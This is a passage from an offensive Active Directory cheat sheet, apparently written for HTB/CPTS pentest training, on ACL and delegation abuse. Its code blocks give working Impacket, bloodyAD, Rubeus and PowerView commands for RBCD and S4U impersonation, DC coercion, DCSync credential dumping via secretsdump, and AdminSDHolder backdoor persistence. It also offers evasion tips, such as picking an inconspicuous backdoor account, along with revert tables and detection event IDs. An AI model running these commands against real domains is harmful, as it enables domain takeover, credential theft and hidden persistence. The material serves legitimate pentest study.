 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
 $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
 Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
 # StandIn one-liner:   .\StandIn.exe --rbcd TARGET$ --sid ATTACKER$
 # then:                .\Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /ptt
 ```
 
 #### Constrained delegation (S4U2Proxy)
 
 **What to look for:** an account with `msDS-AllowedToDelegateTo` populated whose creds you hold — or GenericWrite on it so you *create* the condition.
 
 **Exploit:**
 
 ```bash
 # I already control the delegation account → straight S4U impersonation
 getST.py -spn CIFS/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"
 
 # create the condition myself (GenericWrite on svc_web): flag it + set the target SPN
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/'"$DC"
 getST.py -spn cifs/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"
 ```
 
 > [!tip] /altservice pivot
 > `msDS-AllowedToDelegateTo` only lists `CIFS/DC`? The service name isn't integrity-protected in the ticket — request `LDAP/HOST/HTTP` on the same host. Rubeus: `s4u /user:svc_web /rc4:<hash> /impersonateuser:Administrator /msdsspn:CIFS/DC /altservice:LDAP/DC /ptt` → then DCSync via that LDAP ticket.
 
 #### Unconstrained delegation
 
 **What to look for:** a non-DC computer with `TRUSTED_FOR_DELEGATION`. Coerce a DC to auth to it, capture the DC TGT. If I hold GenericWrite on a computer I can *set* the flag.
 
 ```bash
 # set the flag (then coerce a DC and capture its TGT with Rubeus monitor / krbrelayx)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac 'TARGET$' -f TRUSTED_FOR_DELEGATION
 # coerce (Linux):
 printerbug.py "$DOMAIN"/"$U":"$P"@"$DC" target."$DOMAIN"
 ```
 
 > [!warning] Watch out
 > RBCD/constrained fail if the impersonated user is in **Protected Users** or flagged sensitive — target a different DA (or chain Bronze Bit). Set MAQ to `0` kills the RBCD computer-creation path. Reverse **every** delegation write: `remove rbcd`, `remove uac … -f TRUSTED_*`, delete `ATTACKER$`. Delegation flips fire 5136/4741; S4U2Proxy fires 4769. Deep dives: 🟠 Attack · 🟠 Attack · 🟠 Attack.
 
 ---
 
 ### AdminSDHolder persistence (post-DA)
 
 **What to look for:** once I hold DA (or WriteDacl on `CN=AdminSDHolder`), plant a backdoor ACE. SDProp propagates it to **every** protected object every 60 min — self-healing even if blue team strips it off individual objects.
 
 ```bash
 dacledit.py -action write -rights FullControl -principal backdoor_user \
   -target-dn "CN=AdminSDHolder,CN=System,DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" \
   "$DOMAIN"/Administrator:"$P" -dc-ip "$IP"
 # PowerView: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity backdoor_user -Rights All
 ```
 
 > [!warning] Watch out
 > This is **persistence, not escalation** — needs DA first. Any AdminSDHolder change is exceptionally rare and a critical-severity alert (5136/4780); SDProp also stamps `adminCount=1` on affected users, a queryable IOC. Use a plausible service account as the backdoor principal, not an obvious one. Deep dive: 🟡 Attack.
 
 ---
 
 ### 📬 Exchange Windows Permissions → DCSync (group shortcut)
 
 **What to look for** → membership in **Exchange Windows Permissions**. After most Exchange installs this group holds **WriteDACL on the domain root** — a legacy misconfig that is a one-step path to DCSync (the classic Monteverde-style finish).
 
 **Exploit**
 ```bash
 # grant yourself DCSync via the group's WriteDACL, then replicate
 dacledit.py -action write -rights DCSync -principal "$U" \
   -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip $IP
 secretsdump.py "$DOMAIN"/"$U":"$P"@$IP -just-dc
 # bloodyAD equivalent:
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC add dcsync "$U"
 ```
 > [!warning] Watch out
 > Same OPSEC as any WriteDacl→DCSync (fires 4662/5136) — `remove dcsync` after dumping. Deep dive: 🟣 Attack.
 
 ---
 
 ## Automate the whole path (autobloody)
 
 When BloodHound draws a clean multi-hop chain of **writable** edges, don't walk it by hand — let [autobloody](https://github.com/CravateRouge/autobloody) compute the cheapest route in Neo4j and fire each edge through bloodyAD:
 
 ```bash
 autobloody -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" -dp 'neo4jpass' \
   -ds 'YOU@'"${DOMAIN^^}" -dt 'DOMAIN ADMINS@'"${DOMAIN^^}" -v
 ```
 
 > [!warning] Watch out
 > Rollback is **automatic but partial** — it reverses group adds / DACL grants / shadow-cred links but leaves `ForceChangePassword` and `setOwner` in place. Review the path before `-y`: if the cheapest route runs through a real account's password reset, that reset is permanent. Labels are case-sensitive UPPERCASE `NAME@DOMAIN`. Cross a non-writable edge (`AdminTo`, `HasSession`, `CanRDP`) and it stops — bridge by hand and re-run. Full flag reference: Autobloody.
 
 ---
 
 ## 🛡️ OPSEC & detection — snapshot, revert, expect the alert
 
 **Rule zero: snapshot the security descriptor BEFORE any write.** Every revert below assumes you have the original.
 
 ```bash
 # snapshot a target's SD (Impacket) — writes a .bak you can restore byte-for-byte
 dacledit.py -action backup -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 dacledit.py -action restore -file dacledit-*.bak -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 ```
 
 ```powershell
 # PowerShell snapshot (export the SDDL string)
 (Get-DomainObjectAcl -Identity victim | ConvertTo-Json) | Out-File sd_backup.json
 (Get-ADObject victim -Properties nTSecurityDescriptor).nTSecurityDescriptor.Sddl | Out-File sd_backup.txt
 ```
 
 **Revert table — every attack has an undo:**
 
 | Abuse performed | Revert command(s) |
 | :-- | :-- |
 | Owner changed | `bloodyAD set owner victim <original>` / `owneredit.py -action write -new-owner <original>` |
 | GenericAll/DCSync granted | `bloodyAD remove genericAll victim "$U"` · `remove dcsync "$U"` · or `dacledit.py -action restore` |
 | Shadow Credentials added | `bloodyAD remove shadowCredentials victim` / `pywhisker.py --action remove --device-id <id>` / `Whisker.exe remove` |
 | SPN planted (roast) | `bloodyAD set object victim servicePrincipalName` (clear) / `StandIn --remove spn` |
 | UAC flag flipped | `bloodyAD remove uac victim -f <FLAG>` |
 | scriptPath set | `bloodyAD set object victim scriptPath` (clear) |
 | Group membership added | `bloodyAD remove groupMember <group> "$U"` / `net group … /del /domain` |
 | RBCD set | `bloodyAD remove rbcd 'TARGET$' 'ATTACKER$'` / `rbcd.py -action flush` + delete `ATTACKER$` |
 | Password reset | Cannot undo cryptographically — reset to an agreed value with the client; prefer shadow creds to avoid this entirely |
 
 **Event IDs to expect (DC security log):**
 
 | Event ID | Fires on | Which abuse |
 | :-- | :-- | :-- |
 | 4662 | Object access (replication GUIDs, attribute reads/writes) | DCSync, LAPS/gMSA reads (if SACL set) |
 | 5136 | Directory object modified | DACL/owner changes, SPN/UAC/scriptPath/KeyCredential writes |
 | 5137 | Directory object created | `addcomputer.py` / `bloodyAD add computer` |
 | 4670 | Permissions changed | Owner/DACL edits (if audited) |
 | 4724 | Password reset by admin/right | ForceChangePassword abuse |
 | 4728 / 4732 / 4756 | Member added to global / local / universal group | AddMember abuse (DA = 4728) |
 | 4738 | User account changed | UAC flips, password sets |
 | 4768 / 4769 | TGT / TGS requests | Shadow-cred PKINIT, S4U chains, roast requests |
 | 1644 | Expensive LDAP search | Noisy `Find-InterestingDomainAcl`-style sweeps |
 
 > [!warning] Reads quiet, writes loud — pick accordingly
 > LAPS/gMSA reads and most `get object`/`find` enumeration touch nothing durable and rarely trip SACLs. Every *write* above (5136/5137) is the detection surface. If two paths reach the same objective — e.g. GenericAll on a user — prefer shadow creds (one attribute write, reversible) over password reset (4724 + broken logon). Use `-s` (LDAPS) for bloodyAD writes so the change isn't on the wire in cleartext.
 
 > [!tip] CPTS exam tips
 > - **Re-enumerate after every group add** — inherited rights (e.g. Service Accounts → GenericWrite over svc accounts) only appear on the next graph refresh; bloodyAD's per-call auth picks them up live.
 > - RBCD is the exam's favourite GenericAll-on-computer finish; if MAQ is 0, shadow-cred the machine account instead (no new object needed).
 > - Targeted Kerberoast needs **no ADCS** — when there's no CA in scope, it's your GenericWrite answer.
 > - If a "writable" edge fails with `insufficient access`, check you're hitting the right DC (use `--host "$DC"` FQDN) and that the edge isn't stale — re-read with `--resolve-sd`.
 > - Cross-links: [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) (roast/AS-REP fundamentals) · [Stage 07 — ADCS](/sheets/pentest-workflow/adcs-and-certificate-abuse) (shadow creds tail, ESC paths) · [Stage 08 — Password Attacks](/sheets/pentest-workflow/password-attacks-and-credential-hunting) (cracking the roasted hashes) · [Stage 10 — Lateral Movement](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) (spending DCSync output) · [Stage — Domain Trusts](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (SIDHistory/foreign ACE edges).
 
 ---
 
 ## 🧭 Decision flow — edge in hand, what's the quietest kill?
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Quietest kill decision</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <svg class="flow-svg" viewBox="0 0 1265 616" role="img" aria-label="Decision tree from a writable edge, branching by target type into the quietest takeover, then reverting every write">
       <path class="fedge" d="M630,106 L630,178" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M630,226 L220,298" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M630,226 L640,298" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M630,226 L940,298" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M630,226 L1140,298" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M220,346 L120,418" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M220,346 L320,418" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M640,346 L540,418" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M640,346 L740,418" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M120,466 L555,538" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M320,466 L585,538" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M540,466 L615,538" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M740,466 L645,538" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M940,346 L940,502 L675,502 L675,538" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M1140,346 L1140,518 L705,518 L705,538" marker-end="url(#flow-arrow)" />
       <g class="fnode is-entry"><rect class="fnode__box" x="545" y="58" width="170" height="48" /><text class="fnode__label" x="630" y="86" text-anchor="middle">Writable edge found</text></g>
       <g class="fnode is-decision"><rect class="fnode__box" x="545" y="178" width="170" height="48" /><text class="fnode__label" x="630" y="206" text-anchor="middle">Target type?</text></g>
       <g class="fnode is-decision"><rect class="fnode__box" x="135" y="298" width="170" height="48" /><text class="fnode__label" x="220" y="326" text-anchor="middle">PKINIT / ADCS present?</text></g>
       <g class="fnode is-decision"><rect class="fnode__box" x="555" y="298" width="170" height="48" /><text class="fnode__label" x="640" y="326" text-anchor="middle">MAQ &gt; 0?</text></g>
       <g class="fnode"><rect class="fnode__box" x="855" y="298" width="170" height="48" /><text class="fnode__label" x="940" y="319" text-anchor="middle">AddMember → inherit rights<tspan class="sub" x="940" dy="15">re-enumerate</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="1055" y="298" width="170" height="48" /><text class="fnode__label" x="1140" y="319" text-anchor="middle">WriteDacl → grant DCSync<tspan class="sub" x="1140" dy="15">secretsdump → remove</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="35" y="418" width="170" height="48" /><text class="fnode__label" x="120" y="439" text-anchor="middle">Shadow Credentials<tspan class="sub" x="120" dy="15">no password touch</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="235" y="418" width="170" height="48" /><text class="fnode__label" x="320" y="439" text-anchor="middle">Targeted Kerberoast<tspan class="sub" x="320" dy="15">plant SPN, roast, remove</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="455" y="418" width="170" height="48" /><text class="fnode__label" x="540" y="446" text-anchor="middle">RBCD → S4U → local admin</text></g>
       <g class="fnode"><rect class="fnode__box" x="655" y="418" width="170" height="48" /><text class="fnode__label" x="740" y="446" text-anchor="middle">Shadow creds on MACHINE$</text></g>
       <g class="fnode"><rect class="fnode__box" x="545" y="538" width="170" height="48" /><text class="fnode__label" x="630" y="559" text-anchor="middle">Revert every write<tspan class="sub" x="630" dy="15">per OPSEC table</tspan></text></g>
       <g class="felabel"><rect class="felabel__box" x="406" y="254" width="37" height="16" /><text class="felabel__text" x="425" y="265" text-anchor="middle">User</text></g>
       <g class="felabel"><rect class="felabel__box" x="604" y="254" width="62" height="16" /><text class="felabel__text" x="635" y="265" text-anchor="middle">Computer</text></g>
       <g class="felabel"><rect class="felabel__box" x="763" y="254" width="43" height="16" /><text class="felabel__text" x="785" y="265" text-anchor="middle">Group</text></g>
       <g class="felabel"><rect class="felabel__box" x="844" y="254" width="81" height="16" /><text class="felabel__text" x="885" y="265" text-anchor="middle">Domain root</text></g>
       <g class="felabel"><rect class="felabel__box" x="154" y="374" width="31" height="16" /><text class="felabel__text" x="170" y="385" text-anchor="middle">Yes</text></g>
       <g class="felabel"><rect class="felabel__box" x="257" y="374" width="25" height="16" /><text class="felabel__text" x="270" y="385" text-anchor="middle">No</text></g>
       <g class="felabel"><rect class="felabel__box" x="574" y="374" width="31" height="16" /><text class="felabel__text" x="590" y="385" text-anchor="middle">Yes</text></g>
       <g class="felabel"><rect class="felabel__box" x="677" y="374" width="25" height="16" /><text class="felabel__text" x="690" y="385" text-anchor="middle">No</text></g>
     </svg>
   </div>
 </figure>
 
 ## 🎯 MITRE ATT&CK mapping
 
 | Technique | ID | Where used here |
 | :-- | :-- | :-- |
 | Account Manipulation | T1098 | Group adds, UAC flips, SPN plants |
 | — Additional Cloud/Domain Credentials | T1098.001 | Shadow Credentials (KeyCredentialLink) |
 | Abuse Elevation Control Mechanism | T1548 | RBCD / delegation abuse (S4U) |
 | DCSync | T1003.006 | DS-Replication rights abuse, secretsdump |
 | Kerberoasting | T1558.003 | Targeted Kerberoast via GenericWrite |
 | AS-REP Roasting | T1558.004 | DONT_REQ_PREAUTH flip |
 | Steal or Forge Kerberos Tickets | T1558 | S4U2Self/Proxy ticket requests |
 | Exploitation for Credential Access | T1212 | Password reset via ForceChangePassword |
 | OS Credential Dumping | T1003 | LAPS/gMSA reads, post-DCSync |
 | Account Discovery / Permission Groups | T1087 / T1069 | ACL enumeration (PowerView, BloodHound) |
 | Modify Authentication Process (AdminSDHolder) | T1556 | AdminSDHolder backdoor persistence |
 
 > [!failure] Common pitfalls (burned boxes teach these)
 > - **Forgot `-s`/LDAPS** → write visible on the wire; some DCs now *require* LDAPS for attribute writes (LDAP signing/channel binding enforcement).
 > - **Shadow creds against the IP, not FQDN** → PKINIT fails; always `--host "$DC"`.
 > - **Cleaned the SPN before the TGS arrived** → roast hash worthless. Request first, remove second.
 > - **Added self to a group, then reused an old TGT** → new rights not in the PAC. Purge and re-request.
 > - **WriteOwner on an adminCount=1 object** → SDProp reverts your DACL grant in ≤60 min; move fast or go AdminSDHolder.
 > - **Left `ATTACKER$` behind** → 4741/5137 + an obvious machine account; delete it.
 > - **Trusted the graph blindly** → edge was stale; always `--resolve-sd` before the write.
 
 ---
 
 > [!navigation] Continue the attack flow
 > **Previous:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)
 >
 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
 >
 > **Next:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)